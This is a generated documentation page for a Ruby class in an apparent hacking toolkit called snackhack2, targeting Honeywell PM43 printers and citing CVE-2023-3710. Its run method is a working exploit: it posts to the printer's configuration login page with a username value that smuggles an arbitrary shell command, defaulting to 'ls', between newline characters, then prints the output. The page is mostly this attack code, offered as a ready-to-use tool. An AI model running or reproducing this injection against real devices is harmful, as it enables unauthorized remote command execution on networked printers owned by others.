Class: Snackhack2::HoneywellPM43

Inherits:
Object
  • Object
show all
Defined in:
lib/snackhack2/Honeywell_PM43.rb

Instance Attribute Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(site, command: "ls", save_file: true) ⇒ HoneywellPM43

Returns a new instance of HoneywellPM43.



8
9
10
11
# File 'lib/snackhack2/Honeywell_PM43.rb', line 8

def initialize(site, command: "ls", save_file: true)
  @site = site
  @command = command
end

Instance Attribute Details

#commandObject

CVE-2023-3710 Source: www.exploit-db.com/exploits/51885



6
7
8
# File 'lib/snackhack2/Honeywell_PM43.rb', line 6

def command
  @command
end

Instance Method Details

#runObject



17
18
19
20
21
22
23
24
25
# File 'lib/snackhack2/Honeywell_PM43.rb', line 17

def run
  pp = HTTParty.post(File.join(@site, "loadfile.lp?pageid=Configure"),
                     body: "username=x%0a#{@command}%0a&userpassword=1")
  if pp.code == 200
    puts pp
  else
    puts "[+] Status Code: #{pp.code}"
  end
end